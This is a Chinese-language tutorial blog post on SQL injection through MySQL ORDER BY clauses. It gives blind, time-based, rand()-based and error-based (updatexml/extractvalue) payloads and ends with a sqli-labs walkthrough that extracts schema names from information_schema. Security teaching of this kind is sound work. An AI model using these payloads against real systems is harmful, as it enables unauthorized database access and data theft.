一.先了解一下order by?

 order by 是mysql 中对查询数据排序的方法,例如

     

from 表名 order by 列名(或者数字) asc;升序(默认升序)

mysql order by sql注入 sql注入中order by有什么用_数据

 

 

 

 

from 表名 order by 列名(或者数字) desc;降序

mysql order by sql注入 sql注入中order by有什么用_字符串_02

 

 

 

1.order by 结合union来盲注

payload:   username=admin' union 1,2,'字符串' order by 3

我这里是对password进行的比较,就是将字符串和密码比较

order by 3是根据第三列进行排序,如果union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,

那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,

那么正确的数据就会是第一列,那么页面就会返回password error!.

mysql order by sql注入 sql注入中order by有什么用_字符串_03

 

 

 

 

 

注意的是最好加上binary,因为order by比较的时候不区分大小写

mysql order by sql注入 sql注入中order by有什么用_随机数_04

 

 

 

2.基于if()的盲注

 

 

 需要知道列名:

order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。

payload:  order by if(1=1,id,username);

mysql order by sql注入 sql注入中order by有什么用_随机数_05

 

 

不需要知道列名:

payload: order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

mysql order by sql注入 sql注入中order by有什么用_数据_06

 

 

mysql order by sql注入 sql注入中order by有什么用_随机数_07

 

 

3.基于时间的盲注

payload: order by if(1=1,1,sleep(1))

 

测试结果:

mysql order by sql注入 sql注入中order by有什么用_随机数_08

 

 

这里是在等待延时

mysql order by sql注入 sql注入中order by有什么用_随机数_09

 

 

然后查询成功

mysql order by sql注入 sql注入中order by有什么用_随机数_10

 

 

测试的时候发现延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 最后发现延迟的时间和所查询的数据的条数是成倍数关系的。 计算公式:

sleep(1)的秒数*所查询数据条数

如果查询的数据很多时,延迟的时间就会很长了。 在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

 

4.基于rand()的盲注

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

 

可以看到当rang()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。 例

payload:   order by rand(ascii(mid((select database()),1,1))>96)

mysql order by sql注入 sql注入中order by有什么用_数据_11

 

 

5.报错注入

updatexml

select * from users order by updatexml(1,if(1=1,1,user()),1);#查询正常

select * from users order by updatexml(1,if(1=2,1,user()),1);#查询报错

 

mysql order by sql注入 sql注入中order by有什么用_字符串_12

 

 

extractvalue

select * from users order by extractvalue(1,if(1=1,1,user()));#查询正常

select * from users order by extractvalue(1,if(1=2,1,user()));#查询报错

mysql order by sql注入 sql注入中order by有什么用_随机数_13

 

 

 

二.练习一下

sqllabs的order by 注入

如何判断是否存在order by之后的注入?

在参数后面加个asc、desc来看顺序是否改变就行了。顺序改变了,所以存在注入。

mysql order by sql注入 sql注入中order by有什么用_数据_14

 

 

mysql order by sql注入 sql注入中order by有什么用_随机数_15

 

 

首先判断一下order by 后面接的参数会不会产生影响

用 left(version(),1)   和  right(version(),1) 尝试一下

    left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

    left(str,length);

    left()函数接受两个参数:

    str是要提取子字符串的字符串。

    length是一个正整数,指定将从左边返回的字符数。

    right和left一样

显然没有产生影响

mysql order by sql注入 sql注入中order by有什么用_字符串_16

 

 

所以我们尝试注入:

我们发现回显的信息是有限制的。也就是说我们在查询其他信息的时候可能查询不到

mysql order by sql注入 sql注入中order by有什么用_数据_17

 

 

 

换一种方式,试试

mysql order by sql注入 sql注入中order by有什么用_字符串_18

 

 

有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。

 

mysql order by sql注入 sql注入中order by有什么用_字符串_19

 

 

找关键数据库,由于回显示的信息不能太多所以我们只能运用limit

?sort=(extractvalue(1,concat(0x3a,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),0x3a)))%20--+

mysql order by sql注入 sql注入中order by有什么用_随机数_20

 

 

mysql order by sql注入 sql注入中order by有什么用_随机数_21